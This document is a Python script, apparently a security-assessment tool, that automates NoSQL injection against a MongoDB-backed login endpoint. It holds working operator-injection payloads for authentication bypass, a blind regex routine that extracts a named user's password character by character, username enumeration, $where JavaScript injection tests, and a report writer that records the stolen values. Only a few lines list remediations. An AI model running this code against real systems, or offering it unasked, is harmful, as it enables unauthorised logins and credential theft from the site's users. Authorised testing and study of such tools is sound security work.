#!/usr/bin/env python3 """ NoSQL Injection Testing Automation Performs operator injection, authentication bypass, and blind data extraction. """ import requests import string import json import sys import time from urllib.parse import urljoin def test_operator_injection(target_url: str, content_type: str = "json") -> dict: """Test for basic NoSQL operator injection vulnerabilities.""" results = {"vulnerable": False, "payloads": []} payloads = [ {"username": {"$ne": ""}, "password": {"$ne": ""}}, {"username": {"$gt": ""}, "password": {"$gt": ""}}, {"username": {"$exists": True}, "password": {"$exists": True}}, {"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}, {"username": "admin", "password": {"$ne": ""}}, {"username": "admin", "password": {"$regex": ".*"}}, ] for payload in payloads: try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10, allow_redirects=False ) if response.status_code in [200, 302] and ( "dashboard" in response.text.lower() or "welcome" in response.text.lower() or "token" in response.text.lower() or response.status_code == 302 ): results["vulnerable"] = True results["payloads"].append({ "payload": json.dumps(payload, default=str), "status_code": response.status_code, "response_length": len(response.text) }) print(f"[+] AUTH BYPASS: {json.dumps(payload, default=str)}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return results def blind_extract_field(target_url: str, username: str, field: str = "password", max_length: int = 32) -> str: """Extract a field value character by character using regex-based blind injection.""" extracted = "" charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*" print(f"[*] Extracting {field} for user '{username}'...") for position in range(max_length): found = False for char in charset: test_value = extracted + char payload = { "username": username, field: {"$regex": f"^{_escape_regex(test_value)}"} } try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10, allow_redirects=False ) if response.status_code in [200, 302] and ( "dashboard" in response.text.lower() or "welcome" in response.text.lower() or "token" in response.text.lower() or response.status_code == 302 ): extracted += char print(f"[+] Found character {position}: '{char}' -> {extracted}") found = True break except requests.RequestException: continue time.sleep(0.05) if not found: break print(f"[+] Extracted value: {extracted}") return extracted def _escape_regex(text: str) -> str: """Escape special regex characters in extracted text.""" special_chars = r"\.+*?^${}()|[]" result = "" for char in text: if char in special_chars: result += "\\" + char else: result += char return result def enumerate_usernames(target_url: str) -> list: """Enumerate valid usernames using regex injection.""" found_users = [] prefixes = list(string.ascii_lowercase) print("[*] Enumerating usernames...") for prefix in prefixes: payload = { "username": {"$regex": f"^{prefix}"}, "password": {"$ne": ""} } try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10, allow_redirects=False ) if response.status_code in [200, 302]: print(f"[+] Username starting with '{prefix}' exists") found_users.append(prefix) except requests.RequestException: continue return found_users def test_where_injection(target_url: str) -> bool: """Test for JavaScript injection via $where operator.""" payloads = [ {"$where": "1==1"}, {"$where": "this.username == this.username"}, {"$where": "function() { return true; }"}, ] for payload in payloads: try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) if response.status_code == 200 and len(response.text) > 100: print(f"[+] $where injection works: {json.dumps(payload)}") return True except requests.RequestException: continue return False def generate_report(target_url: str, injection_results: dict, extracted_data: dict, output_file: str): """Generate assessment report.""" with open(output_file, "w") as f: f.write("# NoSQL Injection Assessment Report\n\n") f.write(f"**Target**: {target_url}\n") f.write(f"**Vulnerable**: {'Yes' if injection_results['vulnerable'] else 'No'}\n\n") if injection_results["payloads"]: f.write("## Successful Payloads\n\n") f.write("| Payload | Status Code | Response Length |\n") f.write("|---------|-------------|----------------|\n") for p in injection_results["payloads"]: f.write(f"| `{p['payload']}` | {p['status_code']} | {p['response_length']} |\n") if extracted_data: f.write("\n## Extracted Data\n\n") for user, value in extracted_data.items(): f.write(f"- **{user}**: `{value}`\n") f.write("\n## Remediation\n") f.write("- Use parameterized queries and input type validation\n") f.write("- Reject object/array inputs where strings are expected\n") f.write("- Disable $where JavaScript execution in MongoDB configuration\n") f.write("- Implement WAF rules to block MongoDB operator patterns\n") print(f"[+] Report saved to {output_file}") def main(): if len(sys.argv) < 2: print("Usage: python process.py [--extract ] [--enumerate]") sys.exit(1) target_url = sys.argv[1] print(f"[*] Testing NoSQL injection on {target_url}") results = test_operator_injection(target_url) extracted_data = {} if "--extract" in sys.argv: idx = sys.argv.index("--extract") username = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else "admin" password = blind_extract_field(target_url, username) extracted_data[username] = password if "--enumerate" in sys.argv: enumerate_usernames(target_url) test_where_injection(target_url) generate_report(target_url, results, extracted_data, "nosql_injection_report.md") if __name__ == "__main__": main()